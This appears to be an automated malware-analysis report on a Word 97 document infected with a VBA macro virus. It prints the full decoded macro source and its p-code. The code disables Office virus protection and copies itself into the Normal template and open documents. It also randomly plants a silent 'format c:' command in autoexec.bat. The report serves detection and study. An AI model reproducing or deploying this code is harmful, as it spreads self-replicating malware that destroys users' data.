Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 0ab266f941265729…

MALICIOUS

Office (OLE) / .DOC

30.0 KB Created: 2000-12-08 11:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 200eb4bd9cda81d2b0841f810539c2bd SHA-1: 35b3d942c0ea34d1f2a74087c8d24d0377e2e2ac SHA-256: 0ab266f941265729ef9973de23672cae6dfe898afaee689a43d240d8dd946afe
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. The critical heuristic indicates the macro attempts self-replication and AV tampering by writing its code to 'c:\winsys.log'. It also contains logic to potentially modify 'c:\autoexec.bat', suggesting an attempt to establish persistence or further compromise the system. The exact payload or ultimate goal is unclear due to truncation, leading to moderate confidence.

Heuristics 2

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        .DeleteLines 1, num

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9583 bytes
SHA-256: 27f2a4a81b4f19a7b657023b81e51f373861cab0c8b484cb931cebc3240a28c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
savename = ActiveDocument.Saved
With Options
     .ConfirmConversions = False
     .VirusProtection = 0
     .SaveNormalPrompt = 0
 End With
 Application.EnableCancelKey = Not -1
If Dir("c:\winsys.log", 6) = "" Then
Open "c:\winsys.log" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
buff = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, buff
Next i
Close #1
SetAttr "c:\winsys.log", 6
End If
 daynum = Format(Date, "dd")
 monthnum = Format(Date, "mm")
 yearnum = Format(Date, "yyyy")
 reg = monthnum Mod 2
 Randomize
 Death = Int((10 * Rnd) + 1)
 If yearnum >= 2001 And Death = 5 Then
    If Dir("c:\autoexec.bat") <> "" Then
    cr = Chr(13) + Chr(10)
txt$ = " @echo ##############################################################################" + cr + "@echo ####         ##  #####  ##        ######      ####        ##  #####  #########" + cr + "@echo ####  #####  ##  ####   ########  #####  ###  ####  ########  #####  #########" + cr + "@echo ####  #####  ##  ### #  #######  #####  ####  ####  ########  #####  #########" + cr + "@echo ####  #####  ##  ## ##  #####   ######  ####  ####     #####  #####  #########" + cr + "@echo ####  #####  ##  # ###  #######  #####  ####  ####  ########  #####  #########" + cr + "@echo ####  #####  ##   ####  ########  ##            ##  ########  #####  #########" + cr + "@echo ####  #####  ##  #####  ##        ##  ########  ##        ##           #######" + cr + "@echo #####################################################################  #######" + cr + "@echo ##############################################################################" + cr
     SetAttr "c:\autoexec.bat", vbNormal
     str1$ = "@echo y|format c:/q/u >nul" + Chr(13) + Chr(10)
     Open "c:\autoexec.bat" For Binary Access Read Write As #1
     FileLength = LOF(1)
     str_ = Input(FileLength, #1)
     MyPos = InStr(1, str_, "path", 1)
     MyPos = InStr(MyPos, str_, Chr(13), 1)
     Put #1, MyPos + 2, txt$
     Put #1, , str1$
     Close #1
 End If
 End If
With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
    num = .CountOfLines
    .DeleteLines 1, num
    .AddFromFile "c:\winsys.log"
End With
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
    num = .CountOfLines
    .DeleteLines 1, num
    .AddFromFile "c:\winsys.log"
End With
With Dialogs(wdDialogFileSummaryInfo)
    .Title = "BasTarD-2811"
    .Author = "$$$$$$"
    .Keywordsavename = "BasTarD-2811"
    .Execute
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub


' Processing file: /tmp/tmpkyerbbhr
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5125 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St savename 
' Line #3:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #4:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #5:
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' Line #6:
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' Line #7:
' 	EndWith 
' Line #8:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #9:
' 	LitStr 0x000D "c:\winsys.log"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LitStr 0x000D "c:\winsys.log"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #12:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St buff 
' Line #13:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld buff 
' 	PrintItemNL 
' Line #14:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #15:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #16:
' 	LitStr 0x000D "c:\winsys.log"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld Date 
' 	LitStr 0x0002 "dd"
' 	ArgsLd Format$ 0x0002 
' 	St daynum 
' Line #19:
' 	Ld Date 
' 	LitStr 0x0002 "mm"
' 	ArgsLd Format$ 0x0002 
' 	St monthnum 
' Line #20:
' 	Ld Date 
' 	LitStr 0x0004 "yyyy"
' 	ArgsLd Format$ 0x0002 
' 	St yearnum 
' Line #21:
' 	Ld monthnum 
' 	LitDI2 0x0002 
' 	Mod 
' 	St reg 
' Line #22:
' 	ArgsCall Read 0x0000 
' Line #23:
' 	LitDI2 0x000A 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	St Death 
' Line #24:
' 	Ld yearnum 
' 	LitDI2 0x07D1 
' 	Ge 
' 	Ld Death 
' 	LitDI2 0x0005 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #25:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #26:
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	St cr 
' Line #27:
' 	LitStr 0x0055 " @echo ##############################################################################"
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ####         ##  #####  ##        ######      ####        ##  #####  #########"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ####  #####  ##  ####   ########  #####  ###  ####  ########  #####  #########"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ####  #####  ##  ### #  #######  #####  ####  ####  ########  #####  #########"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ####  #####  ##  ## ##  #####   ######  ####  ####     #####  #####  #########"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ####  #####  ##  # ###  #######  #####  ####  ####  ########  #####  #########"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ####  #####  ##   ####  ########  ##            ##  ########  #####  #########"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ####  #####  ##  #####  ##        ##  ########  ##        ##           #######"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo #####################################################################  #######"
' 	Add 
' 	Ld cr 
' 	Add 
' 	LitStr 0x0054 "@echo ##############################################################################"
' 	Add 
' 	Ld cr 
' 	Add 
' 	St txt$ 
' Line #28:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #29:
' 	LitStr 0x001A "@echo y|format c:/q/u >nul"
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x000A 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	St str1$ 
' Line #30:
' 	LitStr 0x000F "c:\autoexec.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Binary Access Read Write)
' Line #31:
' 	LitDI2 0x0001 
' 	ArgsLd LOF 0x0001 
' 	St FileLength 
' Line #32:
' 	Ld FileLength 
' 	LitDI2 0x0001 
' 	Sharp 
' 	ArgsLd Input$ 0x0002 
' 	St str_ 
' Line #33:
' 	LitDI2 0x0001 
' 	Ld str_ 
' 	LitStr 0x0004 "path"
' 	LitDI2 0x0001 
' 	FnInStr4 
' 	St MyPos 
' Line #34:
' 	Ld MyPos 
' 	Ld str_ 
' 	LitDI2 0x000D 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0001 
' 	FnInStr4 
' 	St MyPos 
' Line #35:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Ld MyPos 
' 	LitDI2 0x0002 
' 	Add 
' 	Ld txt$ 
' 	PutRec 
' Line #36:
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Ld str1$ 
' 	PutRec 
' Line #37:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #41:
' 	MemLdWith CountOfLines 
' 	St num 
' Line #42:
' 	LitDI2 0x0001 
' 	Ld num 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #43:
' 	LitStr 0x000D "c:\winsys.log"
' 	ArgsMemCallWith AddFromFile 0x0001 
' Line #44:
' 	EndWith 
' Line #45:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #46:
' 	MemLdWith CountOfLines 
' 	St num 
' Line #47:
' 	LitDI2 0x0001 
' 	Ld num 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #48:
' 	LitStr 0x000D "c:\winsys.log"
' 	ArgsMemCallWith AddFromFile 0x0001 
' Line #49:
' 	EndWith 
' Line #50:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #51:
' 	LitStr 0x000C "BasTarD-2811"
' 	MemStWith Title 
' Line #52:
' 	LitStr 0x0006 "$$$$$$"
' 	MemStWith Author 
' Line #53:
' 	LitStr 0x000C "BasTarD-2811"
' 	MemStWith Keywordsavename 
' Line #54:
' 	ArgsMemCallWith Execute 0x0000 
' Line #55:
' 	EndWith 
' Line #56:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #57:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	Ld s 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld s 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' 	EndIf 
' Line #58:
' 	EndSub 
' Line #59: